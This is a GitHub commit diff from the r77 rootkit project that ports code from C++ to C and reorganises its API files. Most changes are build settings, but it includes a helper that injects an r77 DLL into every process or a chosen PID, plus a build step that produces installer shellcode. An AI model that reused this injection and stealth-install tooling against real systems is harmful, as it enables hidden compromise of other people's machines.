Skip to content

Commit 7903358

Browse files
author
Martin Fischer
committed
C++ -> Plain C; Split r77api into meaningful chunks
1 parent 0b3157c commit 7903358

File tree

174 files changed

+5206
-5045
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

174 files changed

+5206
-5045
lines changed
File renamed without changes.

Docs/Removed.cpp $Docs/Removed.cpp

File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.

.gitignore

+5-5
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,8 @@ TestResults/
1717
*~*.docx
1818

1919
$Build/
20-
vs/Install/Resources/
21-
vs/InstallStager/Resources/
22-
vs/InstallService32/Resources/
23-
vs/InstallService64/Resources/
24-
vs/Uninstall/Resources/
20+
Install/Resources/
21+
Stager/Resources/
22+
Service32/Resources/
23+
Service64/Resources/
24+
Uninstall/Resources/

vs/BuildTask/BuildTask.cs BuildTask/BuildTask.cs

+9-5
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ public static int Main(string[] args)
2929
{
3030
if (!Directory.Exists(args[1])) return 1;
3131

32-
return CreateShellCodeInstaller(new DirectoryInfo(args[1]).Parent.FullName) ? 0 : 1;
32+
return CreateShellCodeInstaller(args[1]) ? 0 : 1;
3333
}
3434
else
3535
{
@@ -86,14 +86,18 @@ private static byte[] R77Signature(byte[] file, ushort signature)
8686
}
8787
private static bool CreateShellCodeInstaller(string solutionDir)
8888
{
89-
Directory.CreateDirectory(Path.Combine(solutionDir, @"src\InstallShellcode\bin"));
89+
Directory.CreateDirectory(Path.Combine(solutionDir, @"InstallShellcode\bin"));
9090

91-
string shellCodePath = Path.Combine(solutionDir, @"src\InstallShellcode\bin\InstallShellcode.exe");
92-
if (FasmCompile(Path.Combine(solutionDir, @"SlnBin\FASM"), Path.Combine(solutionDir, @"src\InstallShellcode\InstallShellcode.asm"), shellCodePath))
91+
string shellCodeExePath = Path.Combine(solutionDir, @"InstallShellcode\bin\InstallShellcode.exe");
92+
string shellCodePath = Path.Combine(solutionDir, @"InstallShellcode\bin\InstallShellcode.shellcode");
93+
94+
if (FasmCompile(Path.Combine(solutionDir, @"SlnBin\FASM"), Path.Combine(solutionDir, @"InstallShellcode\InstallShellcode.asm"), shellCodeExePath))
9395
{
96+
byte[] shellCode = ExtractShellCode(File.ReadAllBytes(shellCodeExePath));
97+
File.WriteAllBytes(shellCodePath, shellCode);
98+
9499
using (FileStream file = File.Create(Path.Combine(solutionDir, @"$Build\Install.shellcode")))
95100
{
96-
byte[] shellCode = ExtractShellCode(File.ReadAllBytes(shellCodePath));
97101
file.Write(shellCode, 0, shellCode.Length);
98102

99103
byte[] installer = File.ReadAllBytes(Path.Combine(solutionDir, @"$Build\Install.exe"));

vs/BuildTask/BuildTask.csproj BuildTask/BuildTask.csproj

+1-1
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@
3838
<Reference Include="System" />
3939
</ItemGroup>
4040
<ItemGroup>
41-
<Compile Include="..\..\src\GlobalAssemblyInfo.cs">
41+
<Compile Include="..\Global\GlobalAssemblyInfo.cs">
4242
<Link>Properties\GlobalAssemblyInfo.cs</Link>
4343
</Compile>
4444
<Compile Include="BuildTask.cs" />
File renamed without changes.
File renamed without changes.
File renamed without changes.

vs/Example/Example.csproj Example/Example.csproj

+5-5
Original file line numberDiff line numberDiff line change
@@ -59,14 +59,14 @@
5959
<Generator>MSBuild:Compile</Generator>
6060
<SubType>Designer</SubType>
6161
</ApplicationDefinition>
62+
<Compile Include="..\Global\GlobalAssemblyInfo.cs">
63+
<Link>Properties\GlobalAssemblyInfo.cs</Link>
64+
</Compile>
6265
<Compile Include="Properties\AssemblyInfo.cs" />
6366
<Page Include="MainWindow.xaml">
6467
<Generator>MSBuild:Compile</Generator>
6568
<SubType>Designer</SubType>
6669
</Page>
67-
<Compile Include="..\..\src\GlobalAssemblyInfo.cs">
68-
<Link>Properties\GlobalAssemblyInfo.cs</Link>
69-
</Compile>
7070
<Compile Include="App.xaml.cs">
7171
<DependentUpon>App.xaml</DependentUpon>
7272
<SubType>Code</SubType>
@@ -94,7 +94,7 @@
9494
</ItemGroup>
9595
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
9696
<PropertyGroup>
97-
<PostBuildEvent>mkdir "$(SolutionDir)..\$Build"
98-
echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)..\$Build\$77-Example.exe"</PostBuildEvent>
97+
<PostBuildEvent>mkdir "$(SolutionDir)$Build"
98+
echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)$Build\$77-Example.exe"</PostBuildEvent>
9999
</PropertyGroup>
100100
</Project>
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.

src/GlobalAssemblyInfo.cs Global/GlobalAssemblyInfo.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
namespace Global
88
{
9-
// These constants must match the preprocessor definitions in r77api.h
9+
// These constants must match the preprocessor definitions in r77def.h
1010
public static class Config
1111
{
1212
public const string HidePrefix = "$77";

src/Helper/Helper.cpp Helper/Helper.c

+23-15
Original file line numberDiff line numberDiff line change
@@ -1,33 +1,41 @@
11
#include "Helper.h"
2-
3-
int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow)
2+
#include "r77def.h"
3+
#include "r77win.h"
4+
#include "r77config.h"
5+
#include "r77process.h"
6+
#include <stdio.h>
7+
#include <Shlwapi.h>
8+
#include <tlhelp32.h>
9+
#include <Psapi.h>
10+
11+
int CALLBACK WinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE previousInstance, _In_ LPSTR commandLine, _In_ int cmdShow)
412
{
5-
InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE);
13+
EnabledDebugPrivilege();
614

715
int argCount;
816
LPWSTR *args = CommandLineToArgvW(GetCommandLineW(), &argCount);
917
if (!args) return 1;
1018

1119
if (argCount == 1)
1220
{
13-
MessageBoxW(NULL, L"This is a commandline utility used by TestConsole.exe", sizeof(LPVOID) == 4 ? L"Helper32.exe" : L"Helper64.exe", MB_ICONASTERISK | MB_OK);
21+
MessageBoxW(NULL, L"This is a commandline utility used by TestConsole.exe", COALESCE_BITNESS(L"Helper32.exe", L"Helper64.exe"), MB_ICONASTERISK | MB_OK);
1422
return 1;
1523
}
1624
// Helper32|64.exe -config
17-
else if (argCount == 2 && !lstrcmpiW(args[1], L"-config"))
25+
else if (argCount == 2 && !StrCmpIW(args[1], L"-config"))
1826
{
1927
return CreateConfig();
2028
}
2129
// Helper32|64.exe -list
22-
else if (argCount == 2 && !lstrcmpiW(args[1], L"-list"))
30+
else if (argCount == 2 && !StrCmpIW(args[1], L"-list"))
2331
{
2432
return ProcessList();
2533
}
2634
// All processes: Helper32|64.exe -inject -all "C:\path\to\r77-*.dll"
2735
// Specific PID: Helper32|64.exe -inject 1234 "C:\path\to\r77-*.dll"
28-
else if (argCount == 4 && !lstrcmpiW(args[1], L"-inject"))
36+
else if (argCount == 4 && !StrCmpIW(args[1], L"-inject"))
2937
{
30-
if (!lstrcmpiW(args[2], L"-all"))
38+
if (!StrCmpIW(args[2], L"-all"))
3139
{
3240
return Inject(-1, args[3]);
3341
}
@@ -39,9 +47,9 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma
3947
}
4048
// All processes: Helper32|64.exe -detach -all
4149
// Specific PID: Helper32|64.exe -detach 1234
42-
else if (argCount == 3 && !lstrcmpiW(args[1], L"-detach"))
50+
else if (argCount == 3 && !StrCmpIW(args[1], L"-detach"))
4351
{
44-
if (!lstrcmpiW(args[2], L"-all"))
52+
if (!StrCmpIW(args[2], L"-all"))
4553
{
4654
return Detach(-1);
4755
}
@@ -67,15 +75,15 @@ int ProcessList()
6775
// - or that it's the r77 service,
6876
// - or that it's an r77 helper file.
6977

70-
PR77_PROCESS r77Processes = new R77_PROCESS[1000];
78+
PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);
7179
DWORD r77ProcessCount = 1000;
7280
if (!GetR77Processes(r77Processes, &r77ProcessCount)) r77ProcessCount = 0;
7381

74-
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
82+
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
7583
if (snapshot == INVALID_HANDLE_VALUE) return 1;
7684

7785
PROCESSENTRY32W processEntry;
78-
processEntry.dwSize = sizeof(processEntry);
86+
processEntry.dwSize = sizeof(PROCESSENTRY32W);
7987

8088
WCHAR fileName[MAX_PATH + 1];
8189
WCHAR userName[256];
@@ -172,7 +180,7 @@ int Inject(DWORD processId, LPCWSTR dllPath)
172180
if (processId == -1)
173181
{
174182
// Inject all processes
175-
LPDWORD processes = new DWORD[10000];
183+
LPDWORD processes = NEW_ARRAY(DWORD, 10000);
176184
DWORD processCount = 0;
177185
if (EnumProcesses(processes, sizeof(DWORD) * 10000, &processCount))
178186
{
@@ -207,6 +215,6 @@ int Detach(DWORD processId)
207215
else
208216
{
209217
// Detach from specific process
210-
return DetachInjectedProcess(processId) ? 0 : 1;
218+
return DetachInjectedProcessById(processId) ? 0 : 1;
211219
}
212220
}

src/Helper/Helper.h Helper/Helper.h

+1-4
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,4 @@
1-
#pragma comment(linker, "/subsystem:windows")
2-
3-
#include "../r77api.h"
4-
#include <tlhelp32.h>
1+
#include "r77mindef.h"
52

63
/// <summary>
74
/// Helper32.exe and Helper64.exe are used by TestConsole.exe to retrieve a process list.

Helper/Helper.vcxitems

+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<PropertyGroup Label="Globals">
4+
<MSBuildAllProjects Condition="'$(MSBuildVersion)' == '' Or '$(MSBuildVersion)' &lt; '16.0'">$(MSBuildAllProjects);$(MSBuildThisFileFullPath)</MSBuildAllProjects>
5+
<HasSharedItems>true</HasSharedItems>
6+
<ItemsProjectGuid>{e6543f7a-4e58-4c55-975e-ed975481ebe8}</ItemsProjectGuid>
7+
</PropertyGroup>
8+
<ItemDefinitionGroup>
9+
<ClCompile>
10+
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)</AdditionalIncludeDirectories>
11+
</ClCompile>
12+
</ItemDefinitionGroup>
13+
<ItemGroup>
14+
<ProjectCapability Include="SourceItemsFromImports" />
15+
</ItemGroup>
16+
<ItemGroup>
17+
<ClCompile Include="$(MSBuildThisFileDirectory)Helper.c" />
18+
</ItemGroup>
19+
<ItemGroup>
20+
<ClInclude Include="$(MSBuildThisFileDirectory)Helper.h" />
21+
</ItemGroup>
22+
</Project>

vs/Helper32/Helper32.vcxproj Helper32/Helper32.vcxproj

+22-19
Original file line numberDiff line numberDiff line change
@@ -21,20 +21,22 @@
2121
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
2222
<ConfigurationType>Application</ConfigurationType>
2323
<UseDebugLibraries>true</UseDebugLibraries>
24-
<PlatformToolset>v142</PlatformToolset>
24+
<PlatformToolset>v143</PlatformToolset>
2525
<CharacterSet>Unicode</CharacterSet>
2626
</PropertyGroup>
2727
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
2828
<ConfigurationType>Application</ConfigurationType>
2929
<UseDebugLibraries>false</UseDebugLibraries>
30-
<PlatformToolset>v142</PlatformToolset>
30+
<PlatformToolset>v143</PlatformToolset>
3131
<WholeProgramOptimization>true</WholeProgramOptimization>
3232
<CharacterSet>Unicode</CharacterSet>
3333
</PropertyGroup>
3434
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
3535
<ImportGroup Label="ExtensionSettings">
3636
</ImportGroup>
3737
<ImportGroup Label="Shared">
38+
<Import Project="..\Helper\Helper.vcxitems" Label="Shared" />
39+
<Import Project="..\r77api\r77api.vcxitems" Label="Shared" />
3840
</ImportGroup>
3941
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
4042
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
@@ -45,59 +47,60 @@
4547
<PropertyGroup Label="UserMacros" />
4648
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
4749
<LinkIncremental>true</LinkIncremental>
50+
<GenerateManifest>false</GenerateManifest>
4851
</PropertyGroup>
4952
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
5053
<LinkIncremental>false</LinkIncremental>
54+
<GenerateManifest>false</GenerateManifest>
5155
</PropertyGroup>
5256
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
5357
<ClCompile>
5458
<WarningLevel>Level3</WarningLevel>
55-
<SDLCheck>true</SDLCheck>
59+
<SDLCheck>false</SDLCheck>
5660
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
5761
<ConformanceMode>true</ConformanceMode>
5862
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
63+
<CompileAs>CompileAsC</CompileAs>
64+
<BufferSecurityCheck>false</BufferSecurityCheck>
5965
</ClCompile>
6066
<Link>
61-
<SubSystem>Console</SubSystem>
67+
<SubSystem>Windows</SubSystem>
6268
<GenerateDebugInformation>true</GenerateDebugInformation>
69+
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
6370
</Link>
6471
<PostBuildEvent>
6572
<Command>"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
66-
mkdir "$(SolutionDir)..\$Build"
67-
xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"</Command>
73+
mkdir "$(SolutionDir)$Build"
74+
xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"</Command>
6875
</PostBuildEvent>
6976
</ItemDefinitionGroup>
7077
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
7178
<ClCompile>
7279
<WarningLevel>Level3</WarningLevel>
7380
<FunctionLevelLinking>true</FunctionLevelLinking>
7481
<IntrinsicFunctions>true</IntrinsicFunctions>
75-
<SDLCheck>true</SDLCheck>
82+
<SDLCheck>false</SDLCheck>
7683
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
7784
<ConformanceMode>true</ConformanceMode>
7885
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
86+
<CompileAs>CompileAsC</CompileAs>
87+
<BufferSecurityCheck>false</BufferSecurityCheck>
88+
<Optimization>MinSpace</Optimization>
89+
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
7990
</ClCompile>
8091
<Link>
81-
<SubSystem>Console</SubSystem>
92+
<SubSystem>Windows</SubSystem>
8293
<EnableCOMDATFolding>true</EnableCOMDATFolding>
8394
<OptimizeReferences>true</OptimizeReferences>
8495
<GenerateDebugInformation>false</GenerateDebugInformation>
96+
<AdditionalDependencies>ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)</AdditionalDependencies>
8597
</Link>
8698
<PostBuildEvent>
8799
<Command>"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
88-
mkdir "$(SolutionDir)..\$Build"
89-
xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"</Command>
100+
mkdir "$(SolutionDir)$Build"
101+
xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"</Command>
90102
</PostBuildEvent>
91103
</ItemDefinitionGroup>
92-
<ItemGroup>
93-
<ClCompile Include="..\..\src\Helper\Helper.cpp" />
94-
<ClCompile Include="..\..\src\r77api.cpp" />
95-
</ItemGroup>
96-
<ItemGroup>
97-
<ClInclude Include="..\..\src\Helper\Helper.h" />
98-
<ClInclude Include="..\..\src\ntdll.h" />
99-
<ClInclude Include="..\..\src\r77api.h" />
100-
</ItemGroup>
101104
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
102105
<ImportGroup Label="ExtensionTargets">
103106
</ImportGroup>

Helper32/Helper32.vcxproj.filters

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" />

0 commit comments

Comments
 (0)